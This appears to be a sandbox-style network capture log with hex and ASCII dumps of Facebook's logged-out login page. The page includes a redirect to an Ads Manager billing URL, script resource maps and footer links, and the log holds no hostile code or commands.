2023-05-28 08:43:58 UTC	2198	IN	Data Raw: 22 63 72 3a 31 31 32 36 22 2c 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 54 69 6d 65 53 6c 69 63 65 49 6d 70 6c 22 2c 22 41 61 33 64 59 71 54 67 74 37 4d 70 4b 4b 6c 31 68 78 71 6a 2d 53 48 51 63 46 4f 67 61 64 53 4f 57 4e 66 62 73 33 4d 38 4c 4d 31 79 68 39 6c 73 39 52 31 45 32 57 76 72 6b 4d 65 6d 4a 52 46 6b 4e 39 43 4a 43 6f 4b 6f 41 73 6e 65 73 58 59 6a 4a 76 5a 49 77 72 4d 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 36 36 34 30 22 2c 5b 22 50 72 6f 6d 69 73 65 49 6d 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 50 72 6f 6d 69 73 65 49 6d 70 6c 22 2c 22 41 61 32 51 31 7a 6e 53 43 53 76 67 77 69 62 57 5f 57 71 31 4b 7a 48 77 56 71 47 31 65 42 6a 33 43 6a 54 55 41 72 70 36 79 53 2d 2d 34 43 4b 64 56 6d 51 71 52 76 63 Data Ascii: "cr:1126",["TimeSliceImpl"],{"__rc":["TimeSliceImpl","Aa3dYqTgt7MpKKl1hxqj-SHQcFOgadSOWNfbs3M8LM1yh9ls9R1E2WvrkMemJRFkN9CJCoKoAsnesXYjJvZIwrM"]},-1],["cr:6640",["PromiseImpl"],{"__rc":["PromiseImpl","Aa2Q1znSCSvgwibW_Wq1KzHwVqG1eBj3CjTUArp6yS--4CKdVmQqRvc
2023-05-28 08:43:58 UTC	2200	IN	Data Raw: 70 6c 22 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 22 49 6e 6c 69 6e 65 46 62 74 52 65 73 75 6c 74 49 6d 70 6c 22 2c 22 41 61 31 42 39 59 70 57 32 6b 31 6b 50 4c 58 69 35 58 35 31 36 66 43 72 62 6e 75 4f 2d 43 35 2d 52 33 56 52 74 39 38 53 68 5f 6a 76 6a 38 74 31 4a 4e 57 46 67 44 72 69 37 72 34 45 49 38 6c 7a 53 46 65 79 43 70 74 4b 41 64 72 7a 67 73 34 46 34 67 50 38 72 5f 4d 6a 2d 45 77 22 5d 7d 2c 2d 31 5d 2c 5b 22 63 72 3a 31 30 39 34 39 30 37 22 2c 5b 5d 2c 7b 22 5f 5f 72 63 22 3a 5b 6e 75 6c 6c 2c 22 41 61 32 6e 69 5a 38 6a 43 64 44 4a 33 49 43 4e 37 49 74 75 48 5a 73 47 36 74 64 43 44 4c 6e 55 5a 6d 44 34 47 35 67 65 43 6d 36 77 74 69 6d 5a 76 6f 45 68 4b 78 76 58 6a 47 73 64 54 5a 30 76 59 65 6a 69 47 35 57 57 76 72 59 6b 79 65 6d 5f 48 67 78 59 64 5f 49 Data Ascii: pl"],{"__rc":["InlineFbtResultImpl","Aa1B9YpW2k1kPLXi5X516fCrbnuO-C5-R3VRt98Sh_jvj8t1JNWFgDri7r4EI8lzSFeyCptKAdrzgs4F4gP8r_Mj-Ew"]},-1],["cr:1094907",[],{"__rc":[null,"Aa2niZ8jCdDJ3ICN7ItuHZsG6tdCDLnUZmD4G5geCm6wtimZvoEhKxvXjGsdTZ0vYejiG5WWvrYkyem_HgxYd_I
2023-05-28 08:43:58 UTC	2201	IN	Data Raw: 66 65 72 72 65 64 52 65 66 65 72 65 6e 63 65 22 2c 22 75 6e 62 6c 6f 63 6b 22 2c 5b 5d 2c 5b 5b 22 41 73 79 6e 63 52 65 71 75 65 73 74 22 2c 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 63 73 73 22 5d 5d 5d 7d 29 3b 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 5f 33 39 69 6c 20 5f 39 37 76 74 20 5f 39 37 76 7a 20 5f 39 37 76 2d 20 5f 39 37 76 5f 20 5f 39 37 77 32 20 5f 39 37 77 30 20 5f 39 61 78 2d 20 5f 39 61 78 5f 20 5f 39 61 79 31 20 55 49 50 61 67 65 5f 4c 6f 67 67 65 64 4f 75 74 20 68 61 73 42 61 6e 6e 65 72 20 5f 2d 6b 62 20 5f 36 30 35 61 20 62 5f 63 33 70 79 6e 2d 61 68 68 20 20 77 65 62 6b 69 74 20 77 69 6e 20 78 31 20 4c 6f Data Ascii: ferredReference","unblock",[],[["AsyncRequest","FbtLogging","IntlQtEventFalcoEvent"],"css"]]]});});</script></head><body class="_39il _97vt _97vz _97v- _97v_ _97w2 _97w0 _9ax- _9ax_ _9ay1 UIPage_LoggedOut hasBanner _-kb _605a b_c3pyn-ahh webkit win x1 Lo
2023-05-28 08:43:58 UTC	2203	IN	Data Raw: 6f 6e 74 69 6e 75 65 2e 3c 2f 64 69 76 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 65 72 72 6f 72 5f 62 6f 78 22 20 2f 3e 3c 64 69 76 20 69 64 3d 22 6c 6f 67 69 6e 66 6f 72 6d 22 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 64 69 73 70 6c 61 79 22 20 6e 61 6d 65 3d 22 64 69 73 70 6c 61 79 22 20 76 61 6c 75 65 3d 22 22 20 2f 3e 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 6f 66 66 22 20 69 64 3d 22 69 73 70 72 69 76 61 74 65 22 20 6e 61 6d 65 3d 22 69 73 70 72 69 76 61 74 65 22 20 76 61 6c 75 65 3d 22 22 20 2f 3e 3c 69 Data Ascii: ontinue.</div><input type="hidden" autocomplete="off" id="error_box" /><div id="loginform"><input type="hidden" autocomplete="off" id="display" name="display" value="" /><input type="hidden" autocomplete="off" id="isprivate" name="isprivate" value="" /><i
2023-05-28 08:43:58 UTC	2204	IN	Data Raw: 20 63 6c 61 73 73 3d 22 5f 39 6c 73 61 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 39 6c 73 62 22 20 69 64 3d 22 75 5f 30 5f 35 5f 34 50 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 5f 78 6b 74 22 3e 3c 62 75 74 74 6f 6e 20 76 61 6c 75 65 3d 22 31 22 20 63 6c 61 73 73 3d 22 5f 34 32 66 74 20 5f 34 6a 79 30 20 5f 35 32 65 30 20 5f 34 6a 79 36 20 5f 34 6a 79 31 20 73 65 6c 65 63 74 65 64 20 5f 35 31 73 79 22 20 69 64 3d 22 6c 6f 67 69 6e 62 75 74 74 6f 6e 22 20 6e 61 6d 65 3d 22 6c 6f 67 69 6e 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 3e 4c 6f 67 20 49 6e 3c 2f 62 75 74 74 6f 6e 3e 3c 2f 64 69 76 3e Data Ascii: class="_9lsa"><div class="_9lsb" id="u_0_5_4P"></div></div></a></div></div></div></div><div class="_xkt"><button value="1" class="_42ft _4jy0 _52e0 _4jy6 _4jy1 selected _51sy" id="loginbutton" name="login" tabindex="0" type="submit">Log In</button></div>
2023-05-28 08:43:58 UTC	2205	IN	Data Raw: 79 22 3e 3c 64 69 76 20 69 64 3d 22 70 61 67 65 46 6f 6f 74 65 72 22 20 64 61 74 61 2d 72 65 66 65 72 72 65 72 3d 22 70 61 67 65 5f 66 6f 6f 74 65 72 22 20 64 61 74 61 2d 74 65 73 74 69 64 3d 22 70 61 67 65 5f 66 6f 6f 74 65 72 22 3e 3c 75 6c 20 63 6c 61 73 73 3d 22 75 69 4c 69 73 74 20 6c 6f 63 61 6c 65 53 65 6c 65 63 74 6f 72 4c 69 73 74 20 5f 32 70 69 64 20 5f 35 30 39 2d 20 5f 34 6b 69 20 5f 36 2d 68 20 5f 36 2d 6a 20 5f 36 2d 69 22 20 64 61 74 61 2d 6e 6f 63 6f 6f 6b 69 65 73 3d 22 31 22 3e 3c 6c 69 3e 45 6e 67 6c 69 73 68 20 28 55 53 29 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 2d 64 65 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 Data Ascii: y"><div id="pageFooter" data-referrer="page_footer" data-testid="page_footer"><ul class="uiList localeSelectorList _2pid _509- _4ki _6-h _6-j _6-i" data-nocookies="1"><li>English (US)</li><li><a class="_sv4" dir="ltr" href="https://de-de.facebook.com/logi
2023-05-28 08:43:58 UTC	2207	IN	Data Raw: 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 69 74 5f 49 54 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 69 74 2d 69 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 75 30 30 32 35 32 46 61 64 73 5c 75 30 30 32 35 32 46 6d 61 6e 61 67 65 72 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 5c 75 30 30 32 35 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 5c 75 30 30 32 35 32 46 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 Data Ascii: .setCookieLocale("it_IT", "en_US", "https:\/\/it-it.facebook.com\/login.php?next=https\u00253A\u00252F\u00252Fadsmanager.facebook.com\u00252Fads\u00252Fmanager\u00252Faccount_settings\u00252Faccount_billing\u00252F", "ww
2023-05-28 08:43:58 UTC	2208	IN	Data Raw: 6d 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 61 64 73 25 32 46 6d 61 6e 61 67 65 72 25 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 25 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 25 32 46 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 65 73 5f 4c 41 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 65 73 2d 6c 61 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 Data Ascii: m/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" onclick="require("IntlUtils").setCookieLocale("es_LA", "en_US", "https:\/\/es-la.facebook.com\/login.php?nex
2023-05-28 08:43:58 UTC	2210	IN	Data Raw: 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 37 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 41 72 61 62 69 63 22 3e d8 a7 d9 84 d8 b9 d8 b1 d8 a8 d9 8a d8 a9 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 2d 69 6e 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 6f 67 69 6e 2e 70 68 70 3f 6e 65 78 74 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 61 64 73 6d 61 6e 61 67 65 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 25 32 46 61 64 73 25 32 46 6d 61 6e 61 67 65 72 25 32 46 61 63 63 6f 75 6e 74 5f 73 65 74 74 69 6e 67 73 25 32 46 61 63 63 6f 75 6e 74 5f 62 69 6c 6c 69 6e 67 25 32 46 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 Data Ascii: ector", 7); return false;" title="Arabic"></a></li><li><a class="_sv4" dir="ltr" href="https://hi-in.facebook.com/login.php?next=https%3A%2F%2Fadsmanager.facebook.com%2Fads%2Fmanager%2Faccount_settings%2Faccount_billing%2F" onclick="req
2023-05-28 08:43:58 UTC	2211	IN	Data Raw: 68 72 65 66 3d 22 23 22 20 74 69 74 6c 65 3d 22 53 68 6f 77 20 6d 6f 72 65 20 6c 61 6e 67 75 61 67 65 73 22 3e 3c 69 20 63 6c 61 73 73 3d 22 69 6d 67 20 73 70 5f 45 50 39 77 58 38 71 44 44 76 75 20 73 78 5f 30 64 65 33 65 36 22 3e 3c 2f 69 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 43 75 72 76 65 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 70 61 67 65 46 6f 6f 74 65 72 43 68 69 6c 64 72 65 6e 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 6f 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 46 61 63 65 62 6f 6f 6b 20 73 69 74 65 20 6c 69 6e 6b 73 22 3e 3c 75 6c 20 63 6c 61 73 73 3d 22 75 69 4c 69 73 74 20 70 61 67 65 46 6f 6f 74 65 72 4c 69 6e 6b 4c 69 73 74 20 5f 35 30 39 2d 20 5f 34 6b 69 20 5f 37 Data Ascii: href="#" title="Show more languages"><i class="img sp_EP9wX8qDDvu sx_0de3e6"></i></a></li></ul><div id="contentCurve"></div><div id="pageFooterChildren" role="contentinfo" aria-label="Facebook site links"><ul class="uiList pageFooterLinkList _509- _4ki _7
2023-05-28 08:43:58 UTC	2213	IN	Data Raw: 6b 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 22 61 73 79 6e 63 22 3e 49 6e 73 74 61 67 72 61 6d 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 66 75 6e 64 72 61 69 73 65 72 73 2f 22 20 74 69 74 6c 65 3d 22 44 6f 6e 61 74 65 20 74 6f 20 77 6f 72 74 68 79 20 63 61 75 73 65 73 2e 22 3e 46 75 6e 64 72 61 69 73 65 72 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 62 69 7a 2f 64 69 72 65 63 74 6f 72 79 2f 22 20 74 69 74 6c 65 3d 22 42 72 6f 77 73 65 20 6f 75 72 20 46 61 63 65 62 6f 6f 6b 20 53 65 72 76 69 63 65 73 20 64 69 72 65 63 74 6f 72 79 2e 22 3e 53 65 72 76 69 63 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 76 6f 74 69 6e 67 Data Ascii: k" rel="nofollow" data-lynx-mode="async">Instagram</a></li><li><a href="/fundraisers/" title="Donate to worthy causes.">Fundraisers</a></li><li><a href="/biz/directory/" title="Browse our Facebook Services directory.">Services</a></li><li><a href="/voting
2023-05-28 08:43:58 UTC	2214	IN	Data Raw: 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 34 31 75 67 22 20 64 61 74 61 2d 6e 6f 63 6f 6f 6b 69 65 73 3d 22 31 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 68 65 6c 70 2f 35 36 38 31 33 37 34 39 33 33 30 32 32 31 37 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 61 62 6f 75 74 20 41 64 20 43 68 6f 69 63 65 73 2e 22 3e 41 64 20 63 68 6f 69 63 65 73 3c 69 20 63 6c 61 73 73 3d 22 69 6d 67 20 73 70 5f 45 50 39 77 58 38 71 44 44 76 75 20 73 78 5f 36 62 64 64 38 31 22 3e 3c 2f 69 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 64 61 74 61 2d 6e 6f 63 6f 6f 6b 69 65 73 3d 22 31 22 20 68 72 65 66 3d 22 2f 70 6f 6c 69 63 69 65 73 3f 72 65 66 3d 70 66 22 20 61 63 63 65 73 73 6b 65 79 3d 22 39 22 20 74 Data Ascii: i><li><a class="_41ug" data-nocookies="1" href="https://www.facebook.com/help/568137493302217" title="Learn about Ad Choices.">Ad choices<i class="img sp_EP9wX8qDDvu sx_6bdd81"></i></a></li><li><a data-nocookies="1" href="/policies?ref=pf" accesskey="9" t
2023-05-28 08:43:58 UTC	2216	IN	Data Raw: 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 35 51 6f 51 4b 75 54 64 67 5f 46 4e 75 71 46 7a 67 22 7d 2c 22 35 37 37 39 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 36 4b 43 50 6a 6c 77 48 31 4e 51 55 78 6b 61 6e 51 22 7d 2c 22 31 33 39 33 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 34 32 61 45 48 49 48 73 4b 5f 4e 78 47 51 57 70 59 22 7d 2c 22 32 37 37 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 35 45 75 32 34 34 57 49 63 65 37 69 77 71 71 30 38 22 7d 2c 22 33 37 35 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 65 53 35 55 54 6b 6b 4d 70 5f 78 62 50 79 44 45 22 7d 2c 22 33 Data Ascii: esult":true,"hash":"AT5QoQKuTdg_FNuqFzg"},"5779":{"result":true,"hash":"AT6KCPjlwH1NQUxkanQ"},"1393":{"result":false,"hash":"AT42aEHIHsK_NxGQWpY"},"2772":{"result":false,"hash":"AT5Eu244WIce7iwqq08"},"3752":{"result":false,"hash":"AT6eS5UTkkMp_xbPyDE"},"3
2023-05-28 08:43:58 UTC	2217	IN	Data Raw: 39 7d 2c 22 72 73 72 63 4d 61 70 22 3a 7b 22 56 62 79 37 6e 70 4a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 76 5c 2f 72 5c 2f 6f 72 4b 6d 64 55 6e 58 39 33 57 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6e 38 76 39 64 53 37 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 58 59 38 34 5c 2f 79 55 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 6b 55 50 7a 39 52 2d 4f 78 5f 73 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a Data Ascii: 9},"rsrcMap":{"Vby7npJ":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yv\/r\/orKmdUnX93W.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"n8v9dS7":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iXY84\/yU\/l\/en_US\/kUPz9R-Ox_s.js?_nc_x=Ij
2023-05-28 08:43:58 UTC	2219	IN	Data Raw: 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 73 34 57 30 58 46 5c 2f 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 37 4d 35 34 5c 2f 79 78 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 4c 73 52 5a 65 45 7a 63 64 36 42 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 39 4d 6f 67 77 72 54 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 74 5c 2f 72 5c 2f 76 37 35 4d 37 43 50 75 39 2d 50 2e 6a 73 3f 5f 6e 63 5f 78 Data Ascii: 8lg5Kz","nc":1},"s4W0XF\/":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3i7M54\/yx\/l\/en_US\/LsRZeEzcd6B.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"9MogwrT":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yt\/r\/v75M7CPu9-P.js?_nc_x
2023-05-28 08:43:58 UTC	2220	IN	Data Raw: 68 70 5c 2f 76 33 5c 2f 79 78 5c 2f 72 5c 2f 4b 66 6e 70 76 38 58 37 59 57 62 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 70 46 62 4a 6b 78 7a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 50 77 4c 34 5c 2f 79 6f 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 56 43 35 65 68 44 74 4f 4a 59 69 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 36 32 66 2b 46 7a 51 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 Data Ascii: hp\/v3\/yx\/r\/Kfnpv8X7YWb.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"pFbJkxz":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iPwL4\/yo\/l\/en_US\/VC5ehDtOJYi.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"62f+FzQ":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/r
2023-05-28 08:43:58 UTC	2222	IN	Data Raw: 30 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 36 5c 2f 72 5c 2f 54 66 35 5f 47 66 48 55 4a 55 44 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5a 75 38 59 73 77 73 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 48 5c 2f 72 5c 2f 32 73 51 32 79 35 76 49 52 51 43 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 77 50 39 53 72 58 54 22 3a 7b 22 74 79 Data Ascii: 0":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y6\/r\/Tf5_GfHUJUD.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Zu8Ysws":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yH\/r\/2sQ2y5vIRQC.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"wP9SrXT":{"ty
2023-05-28 08:43:58 UTC	2223	IN	Data Raw: 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 73 35 64 4f 6d 63 37 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 6b 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 41 41 72 74 42 6a 33 4d 31 6e 35 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 46 56 7a 37 56 4e 6a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 54 51 79 34 5c 2f 79 52 5c 2f 6c 5c 2f 65 6e 5f 55 53 Data Ascii: ?_nc_x=Ij3Wp8lg5Kz","nc":1},"s5dOmc7":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yk\/l\/0,cross\/AArtBj3M1n5.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"FVz7VNj":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iTQy4\/yR\/l\/en_US
2023-05-28 08:43:58 UTC	2224	IN	Data Raw: 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 79 5c 2f 72 5c 2f 5f 57 61 6a 61 45 42 4d 32 53 36 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 74 6a 42 71 48 6e 74 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 39 5c 2f 72 5c 2f 6b 6b 32 51 56 30 53 32 58 63 44 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 2b 57 4c 4f 30 34 6e 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 Data Ascii: 